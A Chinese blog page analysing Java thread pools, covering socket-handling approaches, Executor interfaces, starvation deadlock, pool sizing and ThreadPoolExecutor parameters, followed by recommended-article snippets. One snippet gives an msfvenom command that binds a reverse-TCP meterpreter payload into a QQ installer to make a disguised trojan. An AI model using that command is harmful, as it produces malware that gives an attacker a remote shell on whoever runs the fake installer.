Java线程池源码分析

Java线程池源码解读 其中,corePoolSize是线程池的核心线程数,maximumPoolSize是线程池的最大线程数,keepAliveTime和unit是非核心线程的存活时间和时间单位,workQueue是任务队列,threadFactory用于创建线程,handler是拒绝策略,用于处理任务队列已满时的任务拒绝。线程池是Java并发编程中的一个重要组件,它能够有效地管理线程的生命周期和执行,从而避免了频繁创建和销毁线程的开销。通过以上源码解读,我们可以对Java线程池的实现原理有更加深入的理解。 阅读详情

1.为什么使用线程池

在多线程编程中一项很重要的功能就是执行任务,而执行任务的方式有很多种,为什么一定需要使用线程池呢?下面我们使用Socket编程处理请求的功能,分别对每种执行任务的方式进行分析。

1.1串行执行任务

当Socket监听到客户端有连接,通过handleSocket方法顺序的处理每一个客户端连接,当处理完成后,继续监听。代码如下:

ServerSocket serverSocket = new ServerSocket();
SocketAddress endpoint = new InetSocketAddress(host, port);
serverSocket.bind(endpoint,1023);
while (!isStop) {
Socket socket = serverSocket.accept();
handleSocket(socket); }

这种方式的缺点非常明显:当我有多个客户端请求时,在server处理一个请求的过程中,其他请求都需要等待前一个请求处理完毕。这种在高并发情况下几乎不可用。

1.2为每个任务创建一个线程

针对上面的问题进行优化:为每一个客户端请求创建一个线程来处理请求,主线程只需要创建线程,之后即可继续接受客户端请求。流程图如下:
在这里插入图片描述
代码如下:

ServerSocket serverSocket = new ServerSocket();
SocketAddress endpoint = new InetSocketAddress(host, port);
serverSocket.bind(endpoint,1023);
while (!isStop) {
Socket socket = serverSocket.accept();
new SocketHandler(socket, THREAD_NAME_PREFIX + threadIndex++).start(); }

这种方式有以下优点:

1.将处理客户端连接的操作从主线程中分离出去,使得主循环可以更快的响应下一次请求。
2.处理客户端连接的操作是并行的,提高了程序的吞吐量。

但是这种方式有以下几个缺点:

1.处理请求的线程必须是线程安全的

2.线程的创建和销毁都需要开销,当大量创建线程的时候,将会消耗大量计算机资源

3.当可用的CPU数量小于可运行的线程的时候,那么多出来的线程会占用内存资源,给垃圾回收带来压力,并且在大量线程竞争CPU资源的时候会有很大的性能开销

4.JVM中可创建的线程数存在一个上限,这个上限随着平台的不同而不同,并且受多个因素的限制,包括JVM的启动参数,每个线程所占用的内存大小等,如果超出这些限制,将会抛出OOM异常。

1.3 使用线程池处理客户端请求

对于1.2中出现的问题,最好的解决方案就是使用线程池来执行task,这样可以对创建的线程总数做限制,从而避免1.2中的问题。流程图如下:
在这里插入图片描述
处理方式如下:

ServerSocket serverSocket = new ServerSocket();
SocketAddress endpoint = new InetSocketAddress(host, port);
serverSocket.bind(endpoint,1023);
while (!isStop) {
Socket socket = serverSocket.accept();
executorService.execute(new SocketHandler(socket, THREAD_NAME_PREFIX + threadIndex++)); }

此种方式有以下几个优点:

1.任务提交和任务执行分离开

2.执行任务的线程可以重用,减少了线程创建和销毁的开销,同时当任务到达时可以直接使用创建好的线程执行任务,也提高了程序的响应速度。

2.java中线程池介绍

在java中线程池的实现是基于生产者-消费者模式的,线程池的功能将任务的提交和任务的执行分离,任务提交的过程为生产者,执行任务的过程为消费过程。具体的分析见源码分析。java线程池的顶层接口为Executor,源码如下:

public interface Executor {
void execute(Runnable command); }

此接口为所有线程池实现的顶层接口,其规定了可以接受的task类型为Runnable实现类,但是具体的执行task的逻辑由线程池实现类自己定义,比如:

可以使用主线程串行执行任务,
也可以为每个任务创建一个新的线程
或者提前创建好一组线程,每次执行任务的时候从一组线程中取,等等

对于线程池的执行策略主要有以下几个方面:
1.在什么线程中执行任务
2.按照什么顺序执行任务(FIFO、LIFO、优先级?)
3.有多少个任务可以并发执行
4.最多可以有多少个任务在队列中等待执行
5.当等待队列中达到最大值的时候,怎么样拒绝新提交的task
6.在执行一个任务之前或者之后需要做哪些操作?
应该根据具体的业务选择不同的执行策略。在java类库中提供了Executors工具类中,常见默认策略的线程池。主要有以下几个接口:
public static ExecutorService newFixedThreadPool(int nThreads)
将会创建一个固定大小的线程池,每当有新任务提交的时候,当线程总数没有达到核心线程数的时候,为每个任务创建一个新线程,当线程的个数到达最大值后,重用之前创建的线程,当线程因为未知异常而停止时候,将会重现创建一个线程作为补充。

public static ExecutorService newCachedThreadPool()
根据需求创建线程的个数,当线程数大于任务数的时候,将会注销多余的线程

public static ExecutorService newSingleThreadExecutor() 创建一个单线程的线程池

public static ScheduledExecutorService newScheduledThreadPool(int
corePoolSize) 创建一个可执行定时任务的线程池

在以上的例子中,所有提交的task在提交到线程池后其执行状态是不可见的,即主线程无法知道提交的task是否执行结束或者执行结果。针对这个问题,java提供了可以返回数据的task接口Future和Callable接口。
其中Callable接口提供了任务返回数据以及抛出异常的功能,定义如下:

public interface Callable {

V call() throws Exception; }

在ExecutorService中所有的submit方法都会返回一个Future对象,其接口定义如下:

public interface Future {

取消任务执行,当mayInterruptIfRunning为true,interruptedthisthread
boolean cancel(boolean mayInterruptIfRunning);
返回此任务是否在执行完毕之前被取消执行
boolean isCancelled();
返回此任务是否已经完成,包括正常结束,异常结束以及被cancel
boolean isDone();
返回执行结果,当任务没有执行结束的时候,等待
V get() throws InterruptedException, ExecutionException; }

3.使用线程池可能出现的问题

1.线程饥饿死锁
在单线程的Executor中,如果Executor中执行的一个任务中,再次提交任务到同一个Executor中,并且等待这个任务执行完毕,那么就会发生死锁问题。如下demo中所示:

public class ThreadDeadLock {

private static final ExecutorService EXECUTOR_SERVICE = Executors.newSingleThreadExecutor();


public static void main(String[] args) throws Exception {
    System.out.println("Main Thread start.");
    EXECUTOR_SERVICE.submit(new DeadLockThread());
    System.out.println("Main Thread finished.");

}

private static class DeadLockThread extends Thread{

    @Override
    public void run() {
        try {
            System.out.println("DeadLockThread start.");
            Future future = EXECUTOR_SERVICE.submit(new DeadLockThread2());
            future.get();
            System.out.println("DeadLockThread finished.");
        } catch (Exception e) {

        }
    }
}

private static class DeadLockThread2 extends Thread {

    @Override
    public void run() {
        try {
            System.out.println("DeadLockThread2 start.");
            Thread.sleep(1000 * 10);
            System.out.println("DeadLockThread2 finished.");
        } catch (Exception e) {

        }
    }
} }

输出结果为:

Main Thread start.
Main Thread finished.
DeadLockThread start.

对于多个线程的线程池,如果所有正在执行的线程都因为等待处于工作队列中的任务执行而阻塞,那么就会发生线程饥饿死锁。

当往线程池中提交有依赖的任务时,应清楚的知道可能会出现的线程饥饿死锁风险。应考虑是否将依赖的task提交到不同的线程池中
或者使用无界的线程池。

只有当任务相对独立时,设置线程池大小和工作队列的大小才是合理的,否则有可能会出现线程饥饿死锁

2.任务运行时间过长
任务执行时间过长会影响线程池的响应时间,当运行时间长的任务远大于线程池线程的个数时,会出现所有线程都在执行运行时间长的任务,从而影响对其他任务的响应。

解决办法:

1.通过限定任务等待的时长,而不要无限期等待下去,当等待超时的时候,可以将任务标记为失败,或者重新放到线程池中。

2.当线程池中阻塞任务过多的时,应该考虑扩大线程池的大小

4.线程池大小的设置

线程池的大小依赖于提交任务的类型以及服务器的可用资源,线程池的大小应该避免设置过大或者过小,当线程设置过大的时候可能会有资源耗尽的风险,线程池设置过小会有可用cpu空闲从而影响系统吞吐量。

影响线程池大小的资源有很多,比如CPU、内存、数据库链接池等,只需要计算资源可用总资源 / 每个任务需要的资源,取最小值,即可得出线程池的上限。
线程池的最小值应该大于可用的CPU数量。

加V:gp16670159362,进java干货分享群

4.java中常用线程池源码分析-ThreadPoolExecutor

ThreadPoolExecutor线程池是比较常用的一个线程池实现类,通过Executors工具类创建的线程池中,其具体实现类是ThreadPoolExecutor。首先我们可以看下ThreadPoolExecutor的构造函数如下:

public ThreadPoolExecutor(int corePoolSize,
int maximumPoolSize,
long keepAliveTime,
TimeUnit unit,
BlockingQueue workQueue,
ThreadFactory threadFactory,
RejectedExecutionHandler handler)

下面分别对构造函数中的各个参数对应的策略进行分析:

1.线程的创建与销毁

首先构造函数中corePoolSize、maximumPoolSize、keepAliveTime和unit参数影响线程的创建和销毁。其中corePoolSize为核心线程数,当第一次提交任务的时候如果正在执行的线程数小于corePoolSize,则新建一个线程执行task,如果已经超过corePoolSize,则将任务放到任务队列中等待执行。当任务队列的个数到达上限的时候,并且工作线程数量小于maximumPoolSize,则继续创建线程执行工作队列中的任务。当任务的个数小于maximumPoolSize的时候,将会把空闲的线程标记为可回收的垃圾线程。对于以下代码段测试此功能:

public class ThreadPoolTest {

private static ThreadPoolExecutor executorService = new ThreadPoolExecutor(3, 6,100, TimeUnit.SECONDS, new

LinkedBlockingQueue<>(3));

public static void main(String[] args) throws Exception {
    for (int i = 0; i< 9; i++) {
        executorService.submit(new Task());
        System.out.println("Active thread:" + executorService.getActiveCount() + ".Task count:" +

executorService.getTaskCount() + “.TaskQueue size:” +
executorService.getQueue().size());
}
}

private static class Task extends Thread {

    @Override
    public void run() {
        try {
            Thread.sleep(1000 * 100);
        } catch (Exception e) {

        }
    }
}

}

输出结果为:

Active thread:1.Task count:1.TaskQueue size:0
Active thread:2.Task count:2.TaskQueue size:0
Active thread:3.Task count:3.TaskQueue size:0
Active thread:3.Task count:4.TaskQueue size:1
Active thread:3.Task count:5.TaskQueue size:2
Active thread:3.Task count:6.TaskQueue size:3
Active thread:4.Task count:7.TaskQueue size:3
Active thread:5.Task count:8.TaskQueue size:3
Active thread:6.Task count:9.TaskQueue size:3

2.任务队列

在ThreadPoolExecutor的构造函数中可以传入保存任务的队列,当新提交的任务没有空闲线程执行时候,会将task保存到此队列中。保存的顺序是根据插入的顺序或者Comparator来排序的。

3.饱和策略

ThreadPoolExecutor.AbortPolicy 抛出RejectedExecutionException

ThreadPoolExecutor.CallerRunsPolicy 将任务的执行交给调用者,即将本该异步执行的任务变成同步执行。

4.线程工厂

当线程池需要创建线程的时候,默认是使用线程工厂方法来创建线程的,通常情况下我们通过指定线程工厂的方式来为线程命名,便于出现线程安全问题时候来定位问题。

6.线程池最佳实现

1.项目中所有的线程应该都有线程池来提供,不允许自行创建线程

2.尽量不要用Executors来创建线程,而是使用ThreadPoolExecutor来创建
Executors有以下问题:

1)FixedThreadPool 和 SingleThreadPool: 允许的请求队列长度为
Integer.MAX_VALUE,可能会堆积大量的请求,从而导致 OOM。 2)CachedThreadPool 和
ScheduledThreadPool: 允许的创建线程数量为 Integer.MAX_VALUE,可能会创建大量的线程,从而导致 OOM。

来源:https://www.cnblogs.com/vitasyuan/p/9314631.html

Java线程池源码深度解析 本文主要从源码层面分析了线程池的运行机理,总算知道了execute方法背后是如何运转的。 阅读详情

相关推荐

Java线程池源码分析,深度解读

在传统的多线程编程中,每次需要执行任务时都会创建一个新的线程,任务执行完毕后再销毁该线程。这种方式存在一些问题,例如频繁创建和销毁线程会带来较大的开销,线程数量的不可控会导致系统资源的浪费和性能下降,所以可以采用池化技术来避免这样的性能开销。线程池管理一组线程,这些线程可以被任务复用,而不是每次都创建新的线程。线程池接收任务,并将任务分配给空闲的线程来执行。线程池可以根据需要动态调整线程的数量,以适应不同的负载情况。线程池提供了任务队列,用于存储尚未执行的任务,并根据需要进行排队和调度。

wswpomos的博客 4294

【Java 】从源码全面解析Java 线程池

自己写的业务逻辑,可以将拒绝的任务放至数据库等存储,等后续在执行System . out . println("这是我自己的拒绝策略");} }鲁迅先生曾说:独行难,众行易,和志同道合的人一起进步。彼此毫无保留的分享经验,才是对抗互联网寒冬的最佳选择。其实很多时候,并不是我们不够努力,很可能就是自己努力的方向不对,如果有一个人能稍微指点你一下,你真的可能会少走几年弯路。

DreamSun的博客 2176

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8027

【Java】线程池源码解析

一般在开发过程中,一个功能是运行时长太久了,一般是通过什么方式去优化的?异步/多线程,对于一个业务方法而言,如果其中的调用链太长势必会引起程序运行时间延长,导致整个系统吞吐来量下降,而我们使用多线程方式来对该方法的调用链进行优化,对于一些耦合度不是特别高的调用关系可以直接通过多线程来走异步的方式进行处理,大大的缩短了程序的运行时长,但是如果我们的多线程创建方式是通过这种方式去进行显式创建的话它真的可以吗?答案是不可以,Why?如果在生产环境使用这种方式去进行显式创建线程会带来什么后果?OOM。

blblccc 1743

核函数——原理剖析

(Kernel Function)是机器学习和统计学中的一个重要概念,特别是在支持向量机(SVM)和其他基于核方法的算法中。核函数的主要作用是通过一个隐式的方式将数据映射到一个高维空间,从而使得在该高维空间中线性不可分的问题变得线性可分。没关系,现在让我们抛开一切无关的事情,花20分钟来认真领会一下,核函数的原理到底是什么。然后我们来说什么什么样的函数有资格称为核函数,也就是上面说的一个函数的内积矩阵是半正定矩阵。中的分布如左图所示。中是不可实现的,那如果我们将原始空间中的所有样本点,通过一个映射关系。

m0_70254540的博客 1588

别再瞎调了!手把手教你用ADI IIO Oscilloscope配置AD936x的AGC(附Pluto SDR实测)

本文详细介绍了如何使用ADI IIO Oscilloscope工具配置AD936x系列射频捷变收发器的自动增益控制(AGC)功能,包括Slow/Fast Attack模式的参数设置与优化技巧。通过Pluto SDR硬件实测演示,帮助开发者快速掌握AGC配置方法,提升无线通信系统的接收性能。

weixin_30267785的博客 579

深入理解java线程池+源码解读

线程是稀缺资源,如果在高并发的情况下被无限制地创建和销毁,不仅会消耗系统资源,还会降低系统的稳定性。所以线程池的出现就是为了解决这些问题的。线程池通过重用已经存在的线程资源,减少线程创建和销毁的次数,提高了性能。

qq_56769991的博客 3851

Tube-based MPC完全指南:RCI集合构造与Matlab实现

模型预测控制(MPC)在实际工程中常因模型失配和外部扰动导致硬约束被突破,而鲁棒控制中的Tube-based MPC通过将单条预测轨迹扩展为“管道”集合,为不确定性提供了严格的安全边界。其核心在于利用鲁棒控制不变集(RCI)离线构造安全域,再结合在线标称MPC与反馈校正实现约束的硬保证。针对非线性系统,利普希茨条件为等效扰动的放大和RCI的构造提供了理论基础,使得算法既能保留非线性描述,又不牺牲在线计算效率。该方法适用于带扰动和参数漂移的机械系统、过程控制及嵌入式控制场景。本文以摩擦力非线性系统为例,从RC

weixin_32642109的博客 216

java线程池源码分析

java线程池原理分析线程池运行流程线程池的创建通过ThreadPoolExecutor构造函数创建通过Executors工具类创建线程源码分析 线程池 该文章主要介绍线程池相关内容 运行流程 往线程池中提交任务的流程如上图所示: 线程池的主要作用便是线程的复用:那么线程池是如何实现线程的复用呢 线程池将每个任务的runable方法放到worker对象当中。然后启动worker线程的start方...

林伟杰的博客 407

将MathType、zotero嵌入Word、WPS

最近也是慢慢学起了写文稿之类的内容,在写论文的时候,肯定会遇到一些数学公式的插入,如果使用wps、word等自带的插入公式,一般不符合投稿期刊的格式要求,而且不方便、不美观,故开始研究MathType 这款插入公式的工具。

2401_83617940的博客 2280

物联网 + 大模型:基于 LLM 的智能家居语音控制系统实战

本系统的目标是通过语音指令实现对智能家居设备的控制,包括灯光、空调、安防等设备。LLM 模型作为系统的核心处理引擎,负责理解用户的自然语言命令,并通过物联网设备的接口发送相应的控制指令。系统支持私有化部署,所有的语音数据和设备控制信息都可以在本地服务器上进行处理,确保数据隐私。本项目展示了如何基于大语言模型(LLM)和物联网技术搭建一个智能家居语音控制系统,支持私有化部署。通过自然语言理解技术,用户可以通过语音控制家居设备,并且所有数据和指令都在本地服务器处理,保障了用户的隐私。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 2024

Java线程池:简明易懂的源码分析

Java线程池:简明易懂的源码分析 Java线程池的一些基础知识,可以参考博客 Java线程池,你五分钟讲完,而我和面试官聊了半小时 本文将从源码角度分析线程池原理,加深对线程池原理的理解,简单背几个原理知识,其实很难得到面试官的青睐,了解源码知识,可以由内而外得征服面试官。 Java线程池状态转换 使用Integer类型(32bit) ctl中高3位记录Java线程池的状态,低29位记录线程...

zycxnanwang的博客 3615

OWASP-ZAP扫描器的使用

目录 OWASP-ZAP 更新 代理 目录扫描 主动扫描(Active Scan) 扫描结果 生成报告 OWASP-ZAP OWASP Zed攻击代理(ZAP)是世界上最受欢迎的免费安全审计工具之一,由数百名国际志愿者积极维护。它可以帮助你在开发和测试应用程序时自动查找Web应用程序中的安全漏洞。 也可以说ZAP是一个中间人代理。它能够获取你对Web应用程序发出的所有请求以...

谢公子的博客 2万+

java线程池ThreadPoolExecutor原理源码分析

java线程池实现原理,线程池远吗分析

qq_34735262的博客 1850

在实车上进行lio-sam测试

PS:将雷达和imu相对固定后,拆下来,原地晃啊晃,直到xyz进度达到百分百,参考gif。标定完成后,会在result文件夹下生成result.txt。

如果想成为中心,那么就到中心去吧。 998

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

Java多线程系列--“JUC线程池”03之 线程池原理——线程池源码分析

概要 在前面一章"Java多线程系列--“JUC线程池”02之 线程池原理(一)"中介绍了线程池的数据结构,本章会通过分析线程池的源码,对线程池进行说明。内容包括:线程池示例参考代码(基于JDK1.7.0_40)线程池源码分析 (一) 创建“线程池” (二) 添加任务到“线程池” (三) 关闭“线程池” 转载请注明出处:http://www.cnblogs.com/skywa...

LMAKE_nbsp的博客 3024

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

Java并发线程池底层原理剖析和源码分析

目录 一、线程和线程池的效率对比 二、Java线程池 三、线程池源码分析 四、ScheduledThreadPoolExecutor源码分析 一、线程和线程池的效率对比 使用线程方式执行程序 /*** * 使用线程的方式去执行程序 */ public class ThreadTest { public static void main(String[] args) throws InterruptedException { Long start = System.

swadian2008的博客 452

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

java定时线程池源码分析

首先看个示例: public class Test { public static void main(String[] args) { ScheduledExecutorService service = Executors.newScheduledThreadPool(10); service.schedule(new Runnable() { @Override public void run() {

beiduofen2011的专栏 365

Java ThreadPoolExecutor线程池原理及源码分析

一、源码分析(基于JDK1.6) ThreadExecutorPool是使用最多的线程池组件,了解它的原始资料最好是从从设计者(Doug Lea)的口中知道它的来龙去脉。在Jdk1.6中,ThreadPoolExecutor直接继承了AbstractExecutorService,并层级实现了ExecutorService和Executor接口。 1.Executor Executor是

Schelor的专栏 3036

Java线程池原理和源码分析

Java中的线程池是运用场景最多的并发框架,几乎所有需要异步或并发执行任务的程序 都可以使用线程池。在开发过程中,合理地使用线程池能够带来3个好处。 降低资源消耗。通过重复利用已创建的线程降低线程创建和销毁造成的消耗。 提高响应速度。当任务到达时,任务可以不需要等到线程创建就能立即执行。 提高线程的可管理性。线程是稀缺资源,如果无限制地创建,不仅会消耗系统资源, 还会降低系统的稳定性,...

erciyuan_的博客 255

java exectorpool_java线程池ThreadPoolExector源码分析

java线程池ThreadPoolExector源码分析今天研究了下ThreadPoolExector源码,大致上总结了以下几点跟大家分享下:一、ThreadPoolExector几个主要变量先了解下ThreadPoolExector中比较重要的几个变量。corePoolSize:核心线程数量maximumPoolSize:最大线程数量allowCoreThreadTimeOut:是否允许线程超时...

weixin_35688434的博客 244

java 线程池 源码_Java并发之线程池ThreadPoolExecutor源码分析学习

线程池学习以下所有内容以及源码分析都是基于JDK1.8的,请知悉。​ 我写博客就真的比较没有顺序了,这可能跟我的学习方式有关,我自己也觉得这样挺不好的,但是没办法说服自己去改变,所以也只能这样想到什么学什么了。​ 池化技术真的是一门在我看来非常牛逼的技术,因为它做到了在有限资源内实现了资源利用的最大化,这让我想到了一门课程,那就是运筹学,当时在上运筹学的时候就经常做这种类似的问题。​ ...

weixin_32301287的博客 205
上一篇: 面试:Spring Boot 中的条件注解底层是如何实现的?
下一篇: 太神奇的 SQL 查询经历,group by 慢查询优化!
java_Anni
博客等级 码龄7年 2粉丝 9原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值